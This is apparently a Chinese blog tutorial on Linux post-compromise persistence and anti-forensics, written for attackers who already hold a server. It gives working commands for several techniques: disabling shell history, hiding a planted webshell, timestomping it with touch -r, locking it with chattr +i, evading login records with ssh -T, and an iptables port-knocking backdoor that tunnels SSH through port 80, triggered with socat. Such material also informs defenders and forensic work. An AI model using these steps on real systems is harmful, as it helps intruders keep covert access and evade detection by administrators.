Linux权限维持—隐藏踪迹篇

前言 #

攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和留下后门,本文介绍Linux下的几种隐藏技术。仅作抛砖引玉之用,欢迎留言分享

隐藏历史操作命令 #

linux中可以使用history查看shell中历史输入的命令。如果我们希望在shell中执行的命令不被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

#禁用历史记录功能
[space]set +o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录

#重新开启历史记录功能
[space]set -o history

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史记录中

隐藏文件/文件夹 #

1. 创建隐藏文件或者文件夹

touch .123.txt
mkdir .a
#文件名/夹前面加一个 点 就代表是隐藏文件/夹

修改文件时间戳 #

linux下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。假设我们上传了一个隐藏后门.webshell.php

1. 上传后门

明显看到.webshell.php时间戳不一样,ls-al,查看到的时间为文件修改的时间

我们还可以使用stat命令来查看文件具体的时间戳

stat 文件名

在Linux中,没有文件创建时间的概念。只有文件的访问时间、修改时间、状态改变时间。也就是说不能知道文件的创建时间。但如果文件创建后就没有修改过,修改时间=创建时间

stat查看时间戳有三种时间属性

Access  访问时间 读一次文件的内容,这个时间就会更新。比如more、cat等命令。ls、stat命令不会修改atime
Modify   修改时间 修改时间是文件内容最后一次被修改的时间。比如:vim操作后保存文件。ls -l列出的就是这个时间
Change 状态改动时间 是该文件的inode节点最后一次被修改的时间,通过chmod、chown命令修改一次文件属性,这个时间就会更新

 

 

 

2. 修改时间戳

直接利用 touch 就可以,比如参考 index.php 的时间,再赋给 .webshell.php,结果两个文件的时间就一样了

touch -r index.html .webshell.php

连接webshell,可见隐藏文件也可以进行连接的。

隐藏权限 #

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件。

chattr +i .webshell.php 锁定文件,此时无法查看
lsattr  .webshell.php   属性查看
chattr -i .webshell.php 解除锁定
rm -rf 1..webshell.php  删除文件

隐藏远程SSH登陆记录 #

在linux中可以使用last查看账号ssh登录情况

last|grep root

当我们用ssh进行登录时,就会记录,信息包括登录的账号,远程登录的主机,登录时间

ssh加上-T参数,可以进行隐藏登录记录,不被w、who、last等指令检测到

ssh -T -i id_rsa root@192.168.110.131 /bin/bash -i

端口复用 #

端口复用是指不同的应用程序使用相同端口进行通讯。我们可以通过端口复用来达到隐藏端口的目的。其他作用还有很多,如内网渗透中,搭建隧道时,服务器仅允许指定的端口对外开放。利用端口复用可以将3389或22等端口转发到如80端口上,以便外部连接。

1. 利用IPTables进行端口复用

假设主机开放的web服务是80端口,在被拿下的主机上执行如下命令

# 创建端口复用链
iptables -t nat -N LETMEIN
# 创建端口复用规则,将流量转发至 22 端口
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
#开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
 #关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein 的列表中移除
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

攻击者的linux系统上执行如下

#开启复用
echo threathuntercoming | socat - tcp:192.168.110.131:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.110.131 -T /bin/bash -i
#关闭复用,此时不能用80端口进行ssh连接
echo threathunterleaving | socat - tcp:192.168.110.131:80

连接目标80端口成功连接ssh

ps:进行端口复用后同时也可以用默认的22端口进行ssh连接